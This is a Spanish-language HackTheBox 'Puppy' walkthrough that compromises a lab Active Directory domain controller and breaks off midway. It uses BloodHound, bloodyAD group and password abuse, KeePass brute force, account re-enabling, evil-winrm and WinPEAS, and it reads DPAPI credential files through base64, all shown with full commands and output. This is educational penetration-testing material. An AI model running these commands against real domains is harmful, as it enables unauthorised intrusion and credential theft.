Puppy – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad : Medium / Media
  • Platform / Plataforma: HackTheBox

Avatar puppy


Sinopsis Link to heading

“Puppy” es una máquina de dificultad Media de la plataforma HackTheBox enfocada en Active Directory (AD). Esta máquina se centra en un entorno AD -en el cual se asume una brecha, donde se empezamos con credenciales dadas- el cual enseña movimientos laterales en AD, habilitar cuentas deshabilitadas, extraer credenciales de archivos KeePass y credenciales de archivos Data Protection API (DPAPI).


Información
Se nos dan las siguientes credenciales iniciales para esta máquina: levi.james:KingofAkron2025!

User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap buscando por puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.246.234

Del escaneo encontramos 5 puertos abiertos, donde los principales son: 53 Domain Name System (DNS), 135 Microsoft RPC, y 445 Server Message Block (SMB). Aplicamos algunos scripts de reconocimiento sobre estos puertos utilizando la flag -sVC con Nmap:

❯ sudo nmap -sVC -p53,111,135,139,445 10.129.246.234

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 18:29 -04
Nmap scan report for 10.129.246.234
Host is up (0.39s latency).

PORT    STATE SERVICE       VERSION
53/tcp  open  domain        Simple DNS Plus
111/tcp open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m00s
| smb2-time:
|   date: 2025-05-19T05:30:29
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 459.46 seconds

Aparentemente, estamos ante un entorno Active Directory (AD).

También podemos usar la herramienta NetExec, junto con las credenciales dadas, para obtener información acerca de esta máquina y su dominio AD:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

Tenemos un nombre de máquina DC y un dominio PUPPY.HTB.

Por ende, agregamos el nombre de la máquina, dominio y FQDN (DC.PUPPY.HTB), junto con su IP, a nuestro archivo /etc/hosts en nuestra máquina de atacantes:

❯ echo '10.129.246.234 DC DC.PUPPY.HTB PUPPY.HTB' | sudo tee -a /etc/hosts

Si revisamos por recursos compartidos a través del servicio SMB con NetExec encontramos una carpeta llamada DEV. Sin embargo, no tenemos permisos para leer su contenido:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Enumerated shares
SMB         10.129.246.234  445    DC               Share           Permissions     Remark
SMB         10.129.246.234  445    DC               -----           -----------     ------
SMB         10.129.246.234  445    DC               ADMIN$                          Remote Admin
SMB         10.129.246.234  445    DC               C$                              Default share
SMB         10.129.246.234  445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.129.246.234  445    DC               IPC$            READ            Remote IPC
SMB         10.129.246.234  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.246.234  445    DC               SYSVOL          READ            Logon server share

Para obtener más información acerca del dominio podemos utilizar la herramienta bloodhound-python (la cual puede ser instalada con pip3 install bloodhound o pipx install bloodhound, yo recomiendo fuertemente la segunda) junto con las credenciales dadas para el usuario levi.james:

❯ bloodhound-python -c ALL -u 'levi.james' -p 'KingofAkron2025!' -d PUPPY.HTB -ns 10.129.246.234 --zip

INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 01M 04S
INFO: Compressing output into 20250518184119_bloodhound.zip

Aunque vemos un error KRB_AP_ERR_SKEW(Clock skew too great), el comando se ejecuta correctamente y genera un archivo .zipel cual podemos utilizar en Bloodhound.

Iniciamos Bloodhound (en mi caso utilizo la versión Community Edition, o CE) y subimos el archivo .zip generado a éste. Une ves hemos subido el archivo y éste se termina de cargar, buscamos por el usuario levi.james. Podemos ver si este usuario tiene permisos sobre otros objetos (usuarios, cuentas u otros objetos del dominio) clickeando en la opción Outbound Object Control. Podemos ver así:

Puppy 1

El usuario levi.james es miembro del grupo HR. Los miembros de este grupo tienen el permiso GenericWrite sobre un grupo llamado DEVELOPERS. Esto quiere decir que el usuario levi.james tiene los permisos de agregar cualquier usuario a este grupo. Por tanto, nos agregamos a nosotros mismos (el usuario levi.james) al grupo DEVELOPERS utilizando la herramienta bloodyAD:

❯ bloodyAD -d PUPPY.HTB --host DC.PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' add groupMember 'DEVELOPERS' 'levi.james'

[+] levi.james added to DEVELOPERS

Una vez hemos agregado al usuario levi.james al grupo DEVELOPERS, volvemos a revisar los recursos compartidos por SMB. Ahora que somos parte de este nuevo grupo, sí podemos leer el contenido de la carpeta compartida DEV:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Enumerated shares
SMB         10.129.246.234  445    DC               Share           Permissions     Remark
SMB         10.129.246.234  445    DC               -----           -----------     ------
SMB         10.129.246.234  445    DC               ADMIN$                          Remote Admin
SMB         10.129.246.234  445    DC               C$                              Default share
SMB         10.129.246.234  445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.129.246.234  445    DC               IPC$            READ            Remote IPC
SMB         10.129.246.234  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.246.234  445    DC               SYSVOL          READ            Logon server share
Nota
Hay una tarea restaurando los miembros del grupo DEVELOPERS a su estado original cada cierto tiempo (~15 minutos).

Revisamos el contenido de la carpeta compartida DEV usando NetExec y las credenciales del usuario levi.james gracias a que ahora tenemos los permisos para hacerlo:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV' --pattern .

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Started spidering
SMB         10.129.246.234  445    DC               [*] Spidering .
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/. [dir]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/.. [dir]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/KeePassXC-2.7.9-Win64.msi [lastm:'2025-03-23 04:09' size:34394112]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/recovery.kdbx [lastm:'2025-03-11 23:25' size:2677]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/Projects/. [dir]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/Projects/.. [dir]
SMB         10.129.246.234  445    DC               [*] Done spidering (Completed in 3.352356433868408)

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV/Projects' --pattern .

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Started spidering
SMB         10.129.246.234  445    DC               [*] Spidering .
SMB         10.129.246.234  445    DC               [*] Done spidering (Completed in 0.2704143524169922)

Hay un archivo .msi, el cual es usualmente utilizado para instalar software, para KeePass junto con su versión 2.7.9 y un archivo .kdbx (llamado recovery.kdbx) el cual es el formato que KeePass utiliza para sus archivos.

Descargamos el archivo KeePass utilizando nuevamente NetExec:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --share 'DEV' --get-file 'recovery.kdbx' 'recovery.kdbx'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Copying "recovery.kdbx" to "recovery.kdbx"
SMB         10.129.246.234  445    DC               [+] File "recovery.kdbx" was downloaded to "recovery.kdbx"

Como esperábamos, este es un archivo para KeePass:

❯ file recovery.kdbx

recovery.kdbx: Keepass password database 2.x KDBX

Un problema es que no podemos extraer el hash que protege a este archivo utilizando keepass2john dado que la versión del archivo no lo permite:

❯ keepass2john recovery.kdbx

! recovery.kdbx : File version '40000' is currently not supported!

Esto ocurre para versiones más nuevas de KeePass y por ello keepass2john está levemente obsoleto.

No obstante, podemos intentar un Brute Force Password Login (intentar loguear por fuerza bruta) usando una herramienta llamada keepass4brute (la cual, a su vez, también necesita la herramienta keepassxc-cli; ésta puede ser instalada con sudo apt install keepassxc -y) la cual intentará abrir el archivo .kdbx usando fuerza bruta. Esta herramienta es un simple script de Bash la cual trata de abrir el archivo .kdbx usando keepassxc-cli dado un diccionario de contraseñas. Clonamos esta herramienta:

❯  git clone https://github.com/r3nt0n/keepass4brute.git -q

❯ cd keepass4brute

Y la usamos utilizando el diccionario rockyou.txt como diccionario de contraseñas:

❯ ./keepass4brute.sh ../../content/recovery.kdbx /usr/share/wordlists/rockyou.txt

keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 36/14344392 - Attempts per minute: 52 - Estimated time remaining: 27 weeks, 2 days
[+] Current attempt: liverpool

[*] Password found: liverpool

Obtenemos una contraseña para este archivo: liverpool.

Podemos ahora utilizar keepassxc-cli para revisar su contenido:

❯ keepassxc-cli ls recovery.kdbx

Enter password to unlock recovery.kdbx: liverpool

JAMIE WILLIAMSON
ADAM SILVER
ANTONY C. EDWARDS
STEVE TUCKER
SAMUEL BLAKE

Tenemos 5 diferentes entradas para lo que parecen ser usuarios.

Podemos hacer un simple oneliner en Bash el cual proveee la contraseña maestra (liverpool) a keepassxc-cli y revisa el contenido para cada una de las entradas:

❯ for user in "JAMIE WILLIAMSON" "ADAM SILVER" "ANTONY C. EDWARDS" "STEVE TUCKER" "SAMUEL BLAKE"; do echo -e "\n[+] Checking content for entry '$user'"; echo 'liverpool' | keepassxc-cli show recovery.kdbx $user -s; done

[+] Checking content for entry 'JAMIE WILLIAMSON'
Enter password to unlock recovery.kdbx:
Title: JAMIE WILLIAMSON
UserName:
Password: JamieLove2025!
URL: puppy.htb
Notes:
Uuid: {5f112cf4-85ed-4d4d-bf0e-5e35da983367}
Tags:

[+] Checking content for entry 'ADAM SILVER'
Enter password to unlock recovery.kdbx:
Title: ADAM SILVER
UserName:
Password: HJKL2025!
URL: puppy.htb
Notes:
Uuid: {387b31a3-4a42-4352-ad9a-a42a70fa19f5}
Tags:

[+] Checking content for entry 'ANTONY C. EDWARDS'
Enter password to unlock recovery.kdbx:
Title: ANTONY C. EDWARDS
UserName:
Password: Antman2025!
URL: puppy.htb
Notes:
Uuid: {bfd9590f-b0c6-41f8-b2f5-7e6c5defa5e2}
Tags:

[+] Checking content for entry 'STEVE TUCKER'
Enter password to unlock recovery.kdbx:
Title: STEVE TUCKER
UserName:
Password: Steve2025!
URL: puppy.htb
Notes:
Uuid: {d51a238d-4fe4-4ede-bb83-e6bb6e48a0a1}
Tags:

[+] Checking content for entry 'SAMUEL BLAKE'
Enter password to unlock recovery.kdbx:
Title: SAMUEL BLAKE
UserName:
Password: ILY2025!
URL: puppy.htb
Notes:
Uuid: {d17c1358-f48b-4865-8ab6-15484dccb69b}
Tags:

Obtenemos contraseñas (campo Password) para 3 distintos usuarios.

Además, podemos revisar usuarios en el dominio utilizando NetExec:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}'

Administrator
Guest
krbtgt
DC$
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm

Hacemos calzar la contraseña de la entrada JAMIE WILLIAMSON con el usuario jamie.williamson, la contraseña de ADAM SILVER con adam.silver y al contraseña de ANTONY C. EDWARDS con ant.edwards. Para probar cada contraseña con su respectivo usuario, podemos utilizar la flag --no-bruteforce para probar la primera contraseña con el primer usuario, la segunda contraseña con el segundo usuario y así:

❯ nxc smb 10.129.246.234 -u 'jamie.williamson' 'adam.silver' 'ant.edwards' -p 'JamieLove2025!' 'HJKL2025!' 'Antman2025!' --no-bruteforce

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [-] PUPPY.HTB\jamie.williamson:JamieLove2025! STATUS_LOGON_FAILURE
SMB         10.129.246.234  445    DC               [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!

Obtenemos credenciales válidas: ant.edwards:Antman2025!.

De vuelta a Bloodhound vemos qué es lo que puede realizar este nuevo usuario. Ahora podemos ver:

Puppy 3

El usuario ant.edwards es miembro del grupo SENIOR DEVS. Los miembros de este grupo tienen el permiso GenericAll sobre el usuario adam.silver.

Intenté realizar un ataque Shadow Credentials sobre este usuario, pero no funcionó dado que el servicio LDAP (que usualmente corre por el puerto 389) no está disponible. Usando targetedKerberoast.py tampoco funcionó:

❯ faketime "$(ntpdate -q PUPPY.HTB | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -vv -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' --request-user 'adam.silver' --dc-ip 10.129.246.234

[*] Starting kerberoast attacks
[*] Attacking user (adam.silver)
[DEBUG] {}

Por tanto, la única opción que queda es cambiar forzosamente la contraseña de este usuario (lo cual siempre debería de ser la última opción en la vida real). Para este propósito podemos utilizar nuevamente bloodyAD:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set password 'adam.silver' 'gunzf0x123$!'

[+] Password changed successfully!

Y revisar los cambios con NetExec:

❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [-] PUPPY.HTB\adam.silver:gunzf0x123$! STATUS_ACCOUNT_DISABLED

Obtenemos STATUS_ACCOUNT_DISABLED lo cual significa que la contraseña es correcta, pero que el usuario no está habilitado.

Esto lo podemos revisar de igual manera con bloodyAD:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl

distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

Podemos ver el atributo ACCOUNTDISABLE.

Basados en la documentación de Microsoft para userAccountControl, si definimos la propiedad userAccountControl a un valor de 512, el cual es el valor para NORMAL_ACCOUNT, deberíamos de “habilitar” la cuenta. Dado que ant.edwards puede modificar las propiedades del usuario adam.silver gracias al permiso GenericAll (también conocido como FullControl), podemos utilizar esta cuenta para habilitar a adam.silver modificando el valor de su atributo userAccountControl a 512. Esto debería de ser fácil con bloodyAD:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'

Traceback (most recent call last):
  File "/home/gunzf0x/.local/bin/bloodyAD", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/main.py", line 144, in main
    output = args.func(conn, **params)
             ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/cli_modules/set.py", line 26, in object
    conn.ldap.bloodymodify(
  File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/network/ldap.py", line 217, in bloodymodify
    raise err
msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB! Result code: "invalidAttributeSyntax" Reason: "b'00000057: LdapErr: DSID-0C091330, comment: Error in attribute conversion operation, data 0, v4f7c\x00'"

Pero obtenemos un error: invalidAttributeSyntax.

Esto ocurre porque, en mi caso, la versión de bloodyAD que tenía instalada era una algo antigua:

❯ pip3 list | grep bloodyAD

bloodyAD                     2.0.8

En mi caso resolví esto desinstalando bloodyAD (que tenía instalado con pip3) e instalando una versión más actualizada con pipx:

❯ pip3 uninstall bloodyAD

❯ pipx install bloodyAD

<SNIP>

❯ pipx list | grep 'bloodyAD' -B 1
   package bloodyad 2.1.13, installed using Python 3.12.9
    - bloodyAD

Si esta vez volvemos a ejecutar el comando anterior, éste sí funciona:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'

[+] adam.silver's userAccountControl has been updated

Revisando los atributos para adam.silver podemos ver que ahora su atributo userAccountControl ha sido establecido a NORMAL_ACCOUNT:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl

distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: NORMAL_ACCOUNT
Nota
Recordar que hay una tarea restaurando las cuentas a sus valores originales. Lo cual puede significar que debamos volver a cambiar la contraseña y habilitar a la cuenta adam.silver cada cierto tiempo de ser necesario.

Ahora sí tenemos acceso a esta cuenta:

❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\adam.silver:gunzf0x123$!

En Bloodhound podemos revisar si este usuario es parte del grupo Remote Management Users, lo cual significa que este usuario debería de ser capaz de acceder a la máquina víctima a través del servicio WinRM. Incluso si en nuestro escaneo inicial el servicio WinRM no estaba disponible, vale la pena intentar si esto funciona:

❯ nxc winrm 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'

WINRM       10.129.246.234  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.129.246.234  5985   DC               [+] PUPPY.HTB\adam.silver:gunzf0x123$! (Pwn3d!)

Funcionó. Tenemos acceso por WinRM.

Accedemos a la máquina víctima a través de WinRM utilizando la herramienta evil-winrm junto con las credenciales modificadas de adam.silver:

❯ evil-winrm -i PUPPY.HTB -u 'adam.silver' -p 'gunzf0x123$!'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>

Podemos extraer la flag de usuario en el Desktop del usuario adam.silver.


NT Authority/System - Administrador Link to heading

En la ruta C:\ hay una carpeta llamada Backup:

*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          4/4/2025   3:40 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---          3/8/2025   8:52 AM                Users
d-----         5/13/2025   4:40 PM                Windows

Esta carpeta contiene un archivo .zip:

*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\Backups


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

Lo descargamos en nuestra máquina de atacantes utilizando la dunción download de evil-winrm:

*Evil-WinRM* PS C:\Users\adam.silver\Documents> download C:\\Backups\\site-backup-2024-12-30.zip

Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip

Info: Download successful!

Luego, extraemos/descomprimimos el archivo descargado:

❯ unzip site-backup-2024-12-30.zip -d site-backup

Archive:  site-backup-2024-12-30.zip
   creating: site-backup/puppy/
  inflating: site-backup/puppy/nms-auth-config.xml.bak
   creating: site-backup/puppy/images/
  inflating: site-backup/puppy/images/banner.jpg
  inflating: site-backup/puppy/images/jamie.jpg
<SNIP>

Hay un archivo con un llamativo nombre puppy/nms-auth-config.xml.bak.

Leemos su contenido:

❯ cat site-backup/puppy/nms-auth-config.xml.bak

<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

Donde podemos ver unas líneas interesantes:

<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>

Tenemos una contraseña para el usuario steph.cooper, un usuario el cual sabemos que existe en el dominio (el cual podemos ver cuando extrajimos los usuarios con NetExec o simplemente revisando Bloodhound).

Revisamos si estas credenciales funcionan para este nuevo usuario en el servicio SMB:

❯ nxc smb 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025!

Funcionan.

Desde Bloodhound, y también utilizando NetExec, podemos ver que este usuario puede conectarse al servicio WinRM en la máquina víctima gracias a que es parte del grupo Remote Management Users:

❯ nxc winrm 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'

WINRM       10.129.246.234  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.129.246.234  5985   DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)

Nos conectamos como steph.cooper usando evil-winrm:

❯ evil-winrm -i PUPPY.HTB -u 'steph.cooper' -p 'ChefSteph2025!'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>

Para buscar por archivos sensibles del sistema podemos utilizar WinPEAS (el cual puede ser descargado desde su repositorio de Github). Descargamos el binario:

❯ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250518-5781f7e5/winPEASx64.exe -q

Y luego, subimos el binario ejecutable desde nuestra máquina de atacantes a la máquina víctima utilizando la función upload de evil-winrm (lo cual tomará un tiempo, así que recomiendo paciencia):

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> upload winPEASx64.exe winPEAS.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Puppy/exploits/winPEASx64.exe to C:\Users\steph.cooper\Documents\winPEAS.exe

Data: 13525672 bytes of 13525672 bytes copied

Una vez descargado en la máquina de atacantes, ejecutamos el binario para recolectar información:

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\winPEAS.exe

<SNIP>
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Master Keys
È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
    MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 7:40:36 AM
    Modified: 3/8/2025 7:40:36 AM
   =================================================================================================


ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Credential Files
È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
    CredFile: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
    Description: Local Credential Data

    MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 8:14:09 AM
    Modified: 3/8/2025 8:14:09 AM
    Size: 11068
   =================================================================================================

    CredFile: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
    Description: Enterprise Credential Data

    MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 7:54:29 AM
    Modified: 3/8/2025 7:54:29 AM
    Size: 414
   =================================================================================================
<SNIP>

Encontramos credenciales para Data Protection API (DPAPI).

Podemos revisar manualmente esto también:

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

Usando el comando download de evil-winrm sobre este archivo no funciona:

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> download C:\\Users\\steph.cooper\\AppData\\Roaming\\Microsoft\\Credentials\\C8D69EBE9A43E9DEBF6B5FBD48B521B9

Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9

Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

Esto es porque este archivo está marcado como Hidden (oculto).

Como alternativa, podemos pasar el contenido del archivo a base64:

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))

